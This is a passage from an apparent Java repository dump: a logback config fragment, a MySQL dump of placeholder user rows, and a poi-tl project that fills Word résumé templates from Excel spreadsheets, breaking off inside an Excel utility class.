class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<FileNamePattern>${log.base}/trace_%d{yyyy-MM-dd}-%i.log</FileNamePattern>\n\t\t\t<maxHistory>10</maxHistory>\n\t\t\t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n\t\t\t\t<MaxFileSize>200MB</MaxFileSize>\n\t\t\t</timeBasedFileNamingAndTriggeringPolicy>\n\t\t</rollingPolicy>\n\t\t<layout class=\"ch.qos.logback.classic.PatternLayout\">\n\t\t\t<Pattern>%m%n</Pattern>\n\t\t</layout>\n\t</appender>\n\n\t<appender name=\"asyncTraceAppender\" class=\"ch.qos.logback.classic.AsyncAppender\">\n\t\t<discardingThreshold>0</discardingThreshold>\n\t\t<queueSize>1024</queueSize>\n\t\t<appender-ref ref=\"traceAppender\" />\n\t</appender>\n\t\n\t<!-- logger -->\n\t<logger name=\"traceLogger\" additivity=\"false\">\n\t\t<level value=\"info\"/>\n\t\t<appender-ref ref=\"asyncTraceAppender\"/>\n\t</logger>\n\t\n\t<root>\n\t\t<level value=\"info\" />\n\t\t\n\t\t<appender-ref ref=\"stdoutAppender\" />\n\t\t\n\t</root>\n</configuration>"
  },
  {
    "path": "jun_java_plugins/jun_poi/t_user.sql",
    "content": "/*\r\nSQLyog 企业版 - MySQL GUI v8.14 \r\nMySQL - 5.1.49-community : Database - db_easyui\r\n*********************************************************************\r\n*/\r\r\n\r\n/*!40101 SET NAMES utf8 */;\r\n\r\n/*!40101 SET SQL_MODE=''*/;\r\n\r\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\r\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\r\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\r\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\r\nCREATE DATABASE /*!32312 IF NOT EXISTS*/`db_easyui` /*!40100 DEFAULT CHARACTER SET utf8 */;\r\n\r\nUSE `db_easyui`;\r\n\r\n/*Table structure for table `t_user` */\r\n\r\nDROP TABLE IF EXISTS `t_user`;\r\n\r\nCREATE TABLE `t_user` (\r\n  `id` int(11) NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(20) DEFAULT NULL,\r\n  `phone` varchar(20) DEFAULT NULL,\r\n  `email` varchar(20) DEFAULT NULL,\r\n  `qq` varchar(20) DEFAULT NULL,\r\n  PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB AUTO_INCREMENT=55 DEFAULT CHARSET=utf8;\r\n\r\n/*Data for the table `t_user` */\r\n\r\ninsert  into `t_user`(`id`,`name`,`phone`,`email`,`qq`) values (1,'张三12233','12345672233','1234567@qq2233.com','12345672233'),(7,'张三7','1234567','1234567@qq.com','1234567'),(9,'张三9','1234567','1234567@qq.com','1234567'),(12,'张三12','1234567','1234567@qq.com','1234567'),(13,'张三13','1234567','1234567@qq.com','1234567'),(14,'张三14','1234567','1234567@qq.com','1234567'),(15,'张三15','1234567','1234567@qq.com','1234567'),(16,'d2233','212133','111321@121331.com','212133'),(19,'是3444','2344','21@q33.com','23123333'),(20,'二哥22','12312','231@qq2.com','3213122222'),(21,'1','1','12345672233@qq.com','1'),(23,'211','2121','321@11.com','21'),(26,'是','是','是','是'),(27,'是','是','是','是'),(28,'1.0','2.0','2.0','2.0'),(29,'我们谁','312.0','321@qq.com','321321.0'),(30,'321.0','321.0','321@qq.com','321.0'),(31,'我们谁','312.0','321@qq.com','321321.0'),(32,'321.0','321.0','321@qq.com','321.0'),(33,'我们谁','312.0','321@qq.com','321321.0'),(34,'321.0','321.0','321@qq.com','321.0'),(35,'我们谁','312.0','321@qq.com','321321.0'),(36,'321.0','321.0','321@qq.com','321.0'),(37,'21.0','21.0','21.0','111.0'),(38,'12.0','我','32.0','321.0'),(39,'12.0','我','32.0','321'),(40,'12.0','我','32.0','321'),(41,'111','21','1221@qq.com','12'),(42,'21','21','1221@qq.com','211111'),(43,'2100','2100','122100@qq.com','211111000'),(44,'21001','21001','1221010@qq.com','2111110001'),(45,'210012','210012','1221010@qq.com','2111110001'),(46,'210012我1','21001221','1221010@qq.com','211111000121'),(48,'21','21','1221@qq.com','21'),(53,'王八1','123.0','123@123.com','123.0'),(54,'王八2','124.0','123@124.com','124.0');\r\n\r\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\r\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\r\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\r\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\r\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/READE.md",
    "content": "http://deepoove.com/poi-tl/"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.5</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>com.dcits.tool</groupId>\n    <artifactId>jun_poi_tl_word_export</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n    </properties>\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n\n        </dependency>\n        <dependency>\n            <groupId>com.deepoove</groupId>\n            <artifactId>poi-tl</artifactId>\n            <version>1.9.1</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.76</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <resources>\n            <resource>\n                <directory>src/main/java</directory>\n            </resource>\n        </resources>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jar-plugin</artifactId>\n                <version>3.0.2</version>\n                <configuration>\n                    <archive>\n                        <manifest>\n                            <addClasspath>true</addClasspath>\n                            <mainClass>com.dcits.tool.resume.ExcelImportMain</mainClass> <!-- 此处为主入口-->\n                        </manifest>\n                    </archive>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\nMain-Class: com.dcits.tool.resume.ExcelImportMain\n\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/BreakPagePolicy.java",
    "content": "package com.jun.plugin.poi.resume;\n\nimport com.deepoove.poi.XWPFTemplate;\nimport com.deepoove.poi.policy.RenderPolicy;\nimport com.deepoove.poi.template.ElementTemplate;\nimport com.deepoove.poi.template.run.RunTemplate;\nimport org.apache.poi.xwpf.usermodel.BreakClear;\nimport org.apache.poi.xwpf.usermodel.BreakType;\nimport org.apache.poi.xwpf.usermodel.XWPFRun;\n\npublic class BreakPagePolicy implements RenderPolicy {\n    @Override\n    public void render(ElementTemplate elementTemplate, Object breakPage, XWPFTemplate xwpfTemplate) {\n        //当前位置\n        XWPFRun run = ((RunTemplate) elementTemplate).getRun();\n        run.setText(null,0);\n        if((boolean)breakPage){\n            run.addBreak(BreakType.PAGE);\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/ExcelImportMain.java",
    "content": "package com.jun.plugin.poi.resume;\n\nimport com.deepoove.poi.XWPFTemplate;\nimport com.deepoove.poi.config.Configure;\nimport com.jun.plugin.poi.resume.tool.ExcelUtil;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class ExcelImportMain {\n    static File mappingFile=new File(\".\",\"映射关系.xlsx\");\n    static File dataFile=new File(\".\",\"人员清单.xlsx\");\n    static File templateFile=new File(\".\",\"简历模板.docx\");\n    static File exportFile=new File(\".\",\"简历.docx\");\n\n    public static void main(String[] args) {\n        String mappingPath=\"C:\\\\Users\\\\yanwlb\\\\Desktop\\\\task\\\\mapping.xlsx\";\n        mappingFile=new File(mappingPath);\n        List<Map<String,String>> mapping= ExcelUtil.readExcelMapping(mappingFile.getAbsolutePath(),0);\n        System.out.println(\"解析映射表完成......\");\n        Map<String,String> mappingHead=mapping.get(0);\n        String path=\"C:\\\\Users\\\\yanwlb\\\\Desktop\\\\task\\\\人员清单样例.xlsx\";\n        dataFile=new File(path);\n        final List<Map<String,Object>> data= ExcelUtil.readExcel(dataFile.getAbsolutePath(),0,mappingHead);\n        if(data==null || data.size()==0){\n            System.out.println(\"没有数据可生成，请检查人员清单数据......\");\n            return;\n\n        }\n        System.out.println(\"检测发现\"+data.size()+\"条职员信息\");\n        for(int i=1;i<=data.size();i++){\n            int index=i-1;\n            Map<String,Object> item=data.get(index);\n            String desc= (String) item.get(\"desc\");\n            item.put(\"experience\",desc);\n            item.put(\"breakPage\",i<data.size());\n        }\n\n\n        Configure config = Configure.newBuilder()\n                .bind(\"breakPage\",new BreakPagePolicy())\n                       .bind(\"experience\",new ExperiencePolicy())\n                .build();\n        String modulePath=\"C:\\\\Users\\\\yanwlb\\\\Desktop\\\\task\\\\resume-module.docx\";\n        templateFile=new File(modulePath);\n        XWPFTemplate template = XWPFTemplate.compile(templateFile.getAbsolutePath(), config).render(\n                new HashMap<String, Object>() {{\n                    put(\"resume\",data);\n\n                }}\n        );\n        System.out.println(\"解析导出简历模板样式完成.........\");\n        try {\n            //生成简历\n            String exportPath=\"C:\\\\Users\\\\yanwlb\\\\Desktop\\\\task\\\\简历template.docx\";\n            exportFile=new File(exportPath);\n            FileOutputStream out = new FileOutputStream(exportFile.getAbsolutePath());//要导出的文件名\n            template.writeAndClose(out);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        System.out.println(\"导出简历模板完成\");\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/ExcelVo.java",
    "content": "package com.jun.plugin.poi.resume;\n\nimport com.jun.plugin.poi.resume.annotation.ExcelField;\n\n\n\n/**\n * 表 b_staff_baseinfo\n * \n * @author yanwlb\n * @date 2021-09-30\n */\n\npublic class ExcelVo\n{\n\t@ExcelField(name = \"姓名\")\n\tprivate String name;\n\n\t@ExcelField(name = \"性别\")\n\tprivate String gender;\n\n\t@ExcelField(name = \"出生日期\")\n\tprivate String birthday;\n\n\t@ExcelField(name = \"学历\")\n\tprivate String studyLevel;\n\n\t@ExcelField(name = \"毕业学校\")\n\tprivate String school;\n\n\t@ExcelField(name = \"技术职称\")\n\tprivate String technicalTitle;\n\n\t@ExcelField(name = \"任职公司\")\n\tprivate String company;\n\n\t@ExcelField(name = \"公司职务\")\n\tprivate String post;\n\n\t@ExcelField(name = \"任职时间\")\n\tprivate String officeTime;\n\n\t@ExcelField(name = \"本项目任职\")\n\tprivate String workName;\n\n\t@ExcelField(name = \"人员档次\")\n\tprivate String level;\n\n\t@ExcelField(name = \"工作简历及主要业绩\")\n\tprivate String desc;\n\n\t/**\n\t * @return the name\n\t */\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\t/**\n\t * @param name to set\n\t */\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\t/**\n\t * @return the gender\n\t */\n\tpublic String getGender() {\n\t\treturn gender;\n\t}\n\n\t/**\n\t * @param gender to set\n\t */\n\tpublic void setGender(String gender) {\n\t\tthis.gender = gender;\n\t}\n\n\t/**\n\t * @return the birthday\n\t */\n\tpublic String getBirthday() {\n\t\treturn birthday;\n\t}\n\n\t/**\n\t * @param birthday to set\n\t */\n\tpublic void setBirthday(String birthday) {\n\t\tthis.birthday = birthday;\n\t}\n\n\t/**\n\t * @return the studyLevel\n\t */\n\tpublic String getStudyLevel() {\n\t\treturn studyLevel;\n\t}\n\n\t/**\n\t * @param studyLevel to set\n\t */\n\tpublic void setStudyLevel(String studyLevel) {\n\t\tthis.studyLevel = studyLevel;\n\t}\n\n\t/**\n\t * @return the school\n\t */\n\tpublic String getSchool() {\n\t\treturn school;\n\t}\n\n\t/**\n\t * @param school to set\n\t */\n\tpublic void setSchool(String school) {\n\t\tthis.school = school;\n\t}\n\n\t/**\n\t * @return the technicalTitle\n\t */\n\tpublic String getTechnicalTitle() {\n\t\treturn technicalTitle;\n\t}\n\n\t/**\n\t * @param technicalTitle to set\n\t */\n\tpublic void setTechnicalTitle(String technicalTitle) {\n\t\tthis.technicalTitle = technicalTitle;\n\t}\n\n\t/**\n\t * @return the company\n\t */\n\tpublic String getCompany() {\n\t\treturn company;\n\t}\n\n\t/**\n\t * @param company to set\n\t */\n\tpublic void setCompany(String company) {\n\t\tthis.company = company;\n\t}\n\n\t/**\n\t * @return the post\n\t */\n\tpublic String getPost() {\n\t\treturn post;\n\t}\n\n\t/**\n\t * @param post to set\n\t */\n\tpublic void setPost(String post) {\n\t\tthis.post = post;\n\t}\n\n\t/**\n\t * @return the officeTime\n\t */\n\tpublic String getOfficeTime() {\n\t\treturn officeTime;\n\t}\n\n\t/**\n\t * @param officeTime to set\n\t */\n\tpublic void setOfficeTime(String officeTime) {\n\t\tthis.officeTime = officeTime;\n\t}\n\n\t/**\n\t * @return the workName\n\t */\n\tpublic String getWorkName() {\n\t\treturn workName;\n\t}\n\n\t/**\n\t * @param workName to set\n\t */\n\tpublic void setWorkName(String workName) {\n\t\tthis.workName = workName;\n\t}\n\n\t/**\n\t * @return the level\n\t */\n\tpublic String getLevel() {\n\t\treturn level;\n\t}\n\n\t/**\n\t * @param level to set\n\t */\n\tpublic void setLevel(String level) {\n\t\tthis.level = level;\n\t}\n\n\t/**\n\t * @return the desc\n\t */\n\tpublic String getDesc() {\n\t\treturn desc;\n\t}\n\n\t/**\n\t * @param desc to set\n\t */\n\tpublic void setDesc(String desc) {\n\t\tthis.desc = desc;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/ExperiencePolicy.java",
    "content": "package com.jun.plugin.poi.resume;\n\nimport com.deepoove.poi.XWPFTemplate;\nimport com.deepoove.poi.policy.RenderPolicy;\nimport com.deepoove.poi.template.ElementTemplate;\nimport com.deepoove.poi.template.run.RunTemplate;\nimport org.apache.poi.xwpf.usermodel.XWPFRun;\n\npublic class ExperiencePolicy implements RenderPolicy {\n    @Override\n    public void render(ElementTemplate elementTemplate, Object data, XWPFTemplate xwpfTemplate) {\n        //当前位置\n        XWPFRun run = ((RunTemplate) elementTemplate).getRun();\n        String[] array=((String) data).split(\"#\");\n        for(int i=0;i<array.length;i++){\n            String msg=array[i];\n            run.setText(msg, i);\n            if(i<=array.length-1){\n                run.addBreak();\n\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/Main.java",
    "content": "package com.jun.plugin.poi.resume;\n\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.deepoove.poi.XWPFTemplate;\nimport com.deepoove.poi.data.PictureRenderData;\n\npublic class Main {\n    static String  basePath=\"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\\";\n    public static void main(String[] args) throws Exception {\n    \ttest1();\n\n    }\n\n\n\tprivate static void test1() throws IOException, FileNotFoundException {\n\t\tMap<String, Object> resume = new HashMap<>();\n        Map<String, Object> data = new HashMap<>();\n        \n//        ListRenderPolicy policy = new ListRenderPolicy();\n//        Configure config = Configure.newBuilder()\n//                .bind(\"pictures\", policy).build();\n//        List<WordVO> detailList = new ArrayList<>();\n//        WordVO two = new WordVO();\n//        two.setProblem(\"问题测试2\");\n//        two.setReason(\"原因测试2\");\n//        List<PictureRenderData> pList2 = new ArrayList<>();\n//        pList2.add(new PictureRenderData(100, 120, \"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\img\\\\3.png\"));\n//        two.setPicture(pList2);\n//        detailList.add(two);\n//        List<Object> list = new ArrayList<>();\n//        detailList.forEach(wordVO -> {\n//            list.add(new TextRenderData(wordVO.getProblem()));\n//            list.add(new TextRenderData(wordVO.getReason()));\n//            if (CollectionUtils.isNotEmpty(wordVO.getPicture())) {\n//                list.addAll(wordVO.getPicture());\n//            }\n//        });\n        data.put(\"pictures\", new PictureRenderData(100, 120, \"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\img\\\\3.png\"));\n        \n        data.put(\"name\", \"Sayi\");\n        data.put(\"itcode\",\"lxra\");\n        data.put(\"staffName\",\"李小冉\");\n        data.put(\"age\",23);\n        data.put(\"gender\",\"女\");\n        data.put(\"workplace\",\"北京\");\n        data.put(\"highestEducation\",\"本科\");\n        data.put(\"beginWordTime\",\"20211009\");\n        data.put(\"enterCompanyTime\",\"20211009\");\n        data.put(\"judicialEntity\",\"北京神州信息\");\n        data.put(\"flPlace\",\"北京\");\n        data.put(\"department\",\"政府SBU\");\n        data.put(\"majorName\",\"计算机科学与应用\");\n        data.put(\"photo\",\"xxx.png\");\n        \n        data.put(\"post\",\"工程师\");\n        data.put(\"experience\",\"1111111111111111\");\n        List<Map<String,Object>> list11=new ArrayList<>();\n        list11.add(data);\n        resume.put(\"resume\",list11);\n        XWPFTemplate template = XWPFTemplate.compile(basePath+\"简历模板2.docx\").render(\n                resume);\n        template.writeAndClose(new FileOutputStream(basePath+\"简历模板output41611.docx\"));\n\t}\n\n\n    private static void test() throws IOException {\n        Map<String, Object> data = new HashMap<>();\n        data.put(\"name\", \"Sayi\");\n        data.put(\"itcode\",\"lxra\");\n        data.put(\"staffName\",\"李小冉\");\n        data.put(\"age\",23);\n        data.put(\"gender\",\"女\");\n        data.put(\"workplace\",\"北京\");\n        data.put(\"highestEducation\",\"本科\");\n        data.put(\"beginWordTime\",\"20211009\");\n        data.put(\"enterCompanyTime\",\"20211009\");\n        data.put(\"judicialEntity\",\"北京神州信息\");\n        data.put(\"flPlace\",\"北京\");\n        data.put(\"department\",\"政府SBU\");\n        data.put(\"majorName\",\"计算机科学与应用\");\n        data.put(\"photo\",\"xxx.png\");\n        List<Map<String,Object>> announce=new ArrayList<>();\n        Map<String,Object> map1=new HashMap<>();\n        map1.put(\"name\",\"张三\");\n        map1.put(\"age\",23);\n        Map<String,Object> map2=new HashMap<>();\n        map2.put(\"name\",\"李四\");\n        map2.put(\"age\",13);\n        announce.add(map1);\n        announce.add(map2);\n        List<String> list=new ArrayList<>();\n        list.add(\"hhh\");\n        list.add(\"bbb\");\n        data.put(\"announce\", list);\n\n        JSONObject json=new JSONObject();\n        json.put(\"announce\",new String[]{\"zhagnsan\",\"list\"});\n        System.out.println(json.toJSONString());\n        XWPFTemplate template = XWPFTemplate.compile(basePath+\"简历模板.docx\").render(\n                data);\n        template.writeAndClose(new FileOutputStream(basePath+\"output1111-12.docx\"));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/Test.java",
    "content": "package com.jun.plugin.poi.resume;\n\nimport com.deepoove.poi.XWPFTemplate;\nimport com.deepoove.poi.config.Configure;\nimport com.deepoove.poi.data.PictureRenderData;\nimport com.deepoove.poi.data.TextRenderData;\nimport com.deepoove.poi.policy.ListRenderPolicy;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.apache.poi.ss.usermodel.CellStyle;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.math.BigDecimal;\nimport java.text.DecimalFormat;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class Test {\n    public static void main(String[] args) throws IOException {\n        Map<String, Object> map = new HashMap<String, Object>();\n//        InputStream inputStream = Thread.currentThread().getContextClassLoader()\n//                .getResourceAsStream(\"template/test.docx\");\n        ListRenderPolicy policy = new ListRenderPolicy();\n        Configure config = Configure.newBuilder()\n                .bind(\"pictures\", policy).build();\n        List<WordVO> detailList = new ArrayList<>();\n        WordVO one = new WordVO();\n        WordVO two = new WordVO();\n        one.setProblem(\"问题测试1\");\n        two.setProblem(\"问题测试2\");\n        one.setReason(\"原因测试1\");\n        two.setReason(\"原因测试2\");\n        List<PictureRenderData> pList1 = new ArrayList<>();\n        List<PictureRenderData> pList2 = new ArrayList<>();\n        pList1.add(new PictureRenderData(100, 120, \"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\img\\\\1.png\"));\n        pList1.add(new PictureRenderData(100, 120, \"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\img\\\\2.png\"));\n        pList2.add(new PictureRenderData(100, 120, \"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\img\\\\3.png\"));\n        //one.setPicture(pList1);\n        two.setPicture(pList2);\n        //detailList.add(one);\n        detailList.add(two);\n        List<Object> list = new ArrayList<>();\n        detailList.forEach(wordVO -> {\n            list.add(new TextRenderData(wordVO.getProblem()));\n            list.add(new TextRenderData(wordVO.getReason()));\n            if (CollectionUtils.isNotEmpty(wordVO.getPicture())) {\n                list.addAll(wordVO.getPicture());\n            }\n        });\n        map.put(\"pictures\", list);\n        \n        \n//        XWPFTemplate template = XWPFTemplate.compile(inputStream, config).render(map);\n        XWPFTemplate template = XWPFTemplate.compile(\"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\test-template.docx\", config).render(map);\n        template.writeToFile(\"D:\\\\Documents\\\\Desktop\\\\dynamic-resume\\\\start\\\\测试416-222222.docx\");\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/WordVO.java",
    "content": "package com.jun.plugin.poi.resume;\n\nimport com.deepoove.poi.data.PictureRenderData;\nimport lombok.Data;\n\nimport java.util.List;\n\n@Data\npublic class WordVO {\n    private List<PictureRenderData> picture;\n\n    private String problem;\n\n    private String reason;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/annotation/ExcelField.java",
    "content": "package com.jun.plugin.poi.resume.annotation;\n\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * NOTE: This @ExcelField annotation is duplicated in jun_poi module\n * (com.jun.plugin.poi.impexp.excel.annotation.ExcelField).\n * Consider consolidating to avoid maintaining two copies.\n *\n * @Author: yanwlb\n * @Date: 2021/10/15 14:21\n * @Description: //自定义注解，标志导入导出的excel字段名称\n */\n@Target(ElementType.FIELD)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface ExcelField {\n\n    String name();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/src/main/java/com/jun/plugin/poi/resume/tool/ExcelUtil.java",
    "content": "package com.jun.plugin.poi.resume.tool;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.DateUtil;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\nimport com.jun.plugin.poi.resume.annotation.ExcelField;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Field;\nimport java.text.DateFormat;\nimport java.text.DecimalFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class ExcelUtil {\n\n    public static List<Map<String, Object>> readExcel(String filePath, Integer sheetIndex,Map<String,String> mapping) {\n        Workbook wb = ExcelUtil.createWorkBook(filePath);\n        return getWorkbook(wb,sheetIndex,mapping);\n    }\n\n\n    public static List<Map<String, Object>> readExcel(String filePath, Integer sheetIndex,Class mappingType) {\n        Workbook wb = ExcelUtil.createWorkBook(filePath);\n        return getWorkbook(wb,sheetIndex,mappingType);\n    }\n\n    public static List<Map<String, String>> readExcelMapping(String filePath, Integer sheetIndex) {\n        Workbook wb = ExcelUtil.createWorkBook(filePath);\n        return getWorkbook(wb,sheetIndex);\n    }\n\n    private static List<Map<String,String>> getWorkbook(Workbook workbook,Integer sheetIndex){\n        List<Map<String, String>> dataList = new ArrayList<>();\n        if (workbook != null) {\n            Sheet sheet = workbook.getSheetAt(sheetIndex);\n            int maxRownum = sheet.getPhysicalNumberOfRows();\n            Row firstRow = sheet.getRow(0);\n            int maxColnum = firstRow.getPhysicalNumberOfCells();\n            String columns[] = new String[maxColnum];\n            for (int i = 0; i < maxRownum; i++) {\n                Map<String, String> map = null;\n                if (i > 0) {\n                    map = new LinkedHashMap<>();\n                    firstRow = sheet.getRow(i);\n                }\n                if (firstRow != null) {\n                    String cellData = null;\n                    for (int j = 0; j < maxColnum; j++) {\n                        cellData = (String) ExcelUtil.getCellFormatValue(firstRow.getCell(j));\n                        if (i == 0) {\n                            columns[j] = cellData;\n                        } else {\n                            map.put(columns[j], cellData);\n                        }\n                    }\n                } else {\n                    break;\n                }\n                if (i > 0) {\n                    dataList.add(map);\n                }\n            }\n        }\n        return dataList;\n    }\n\n    private static Workbook createWorkBook(String filePath) {\n        Workbook wb = null;\n        if (filePath == null) {\n            return null;\n        }\n        String extString = filePath.substring(filePath.lastIndexOf(\".\"));\n        InputStream is = null;\n        try {\n            is = new FileInputStream(filePath);\n            if (\".xls\".equals(extString)) {\n                return wb = new HSSFWorkbook(is);\n            } else if (\".xlsx\".equals(extString)) {\n                return wb = new XSSFWorkbook(is);\n            } else {\n                return wb;\n            }\n        } catch (FileNotFoundException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        return wb;\n    }\n\n    private static List<Map<String,Object>> getWorkbook(Workbook workbook,Integer sheetIndex,Class mappingType){\n        List<Map<String, Object>> dataList = new ArrayList<>();\n        if (workbook != null) {\n            Sheet sheet = workbook.getSheetAt(sheetIndex);\n            int maxRownum = sheet.getPhysicalNumberOfRows();\n            Row firstRow = sheet.getRow(0);\n            int maxColnum = firstRow.getPhysicalNumberOfCells();\n            String columns[] = new String[maxColnum];\n            for (int i = 0; i < maxRownum; i++) {\n                Map<String, Object> map = null;\n                if (i > 0) {\n                    map = new LinkedHashMap<>();\n                    firstRow = sheet.getRow(i);\n                }\n                if (firstRow != null) {\n                    String cellData = null;\n                    for (int j = 0; j < maxColnum; j++) {\n                        cellData = (String) ExcelUtil.getCellFormatValue(firstRow.getCell(j));\n                        if (i == 0) {\n                            columns[j] = cellData;\n                        } else {\n                            String key=getColumnName(columns[j],mappingType);\n                            map.put(key, cellData);\n                        }\n                    }\n                } else {\n                    break;\n                }\n                if (i > 0) {\n                    dataList.add(map);\n                }\n            }\n        }\n        return dataList;\n    }\n\n    private static List<Map<String,Object>> getWorkbook(Workbook workbook,Integer sheetIndex,Map<String,String> mapping){\n        List<Map<String, Object>> dataList = new ArrayList<>();\n        if (workbook != null) {\n            Sheet sheet = workbook.getSheetAt(sheetIndex);\n            int maxRownum = sheet.getPhysicalNumberOfRows();\n            Row firstRow = sheet.getRow(0);\n            int maxColnum = firstRow.getPhysicalNumberOfCells();\n            String columns[] = new String[maxColnum];\n            for (int i = 0; i < maxRownum; i++) {\n                Map<String, Object> map = null;\n                if (i > 0) {\n                    map = new LinkedHashMap<>();\n                    firstRow = sheet.getRow(i);\n                }\n                if (firstRow != null) {\n                    String cellData = null;\n                    for (int j = 0; j < maxColnum; j++) {\n                        cellData = (String) ExcelUtil.getCellFormatValue(firstRow.getCell(j));\n                        if (i == 0) {\n                            columns[j] = cellData;\n                        } else {\n                            String key=getColumnName(columns[j],mapping);\n                            map.put(key, cellData);\n                        }\n                    }\n                } else {\n                    break;\n                }\n                if (i > 0) {\n                    dataList.add(map);\n                }\n            }\n        }\n        return dataList;\n    }\n\n    /**\n     * 将字段转为相应的格式\n     * @param cell\n     * @return\n     */\n    private static Object getCellFormatValue(Cell cell) {\n        Object cellValue = null;\n        if (cell != null) {\n            //判断cell类型\n            switch (cell.getCellType()) {\n                case NUMERIC: {\n                    if(DateUtil.isCellDateFormatted(cell)){\n                        cellValue = cell.getDateCellValue();\n                        SimpleDateFormat format=new SimpleDateFormat(\"yyyy/MM/dd\");\n                        cellValue=format.format(cellValue);\n                        break;\n                    }\n                    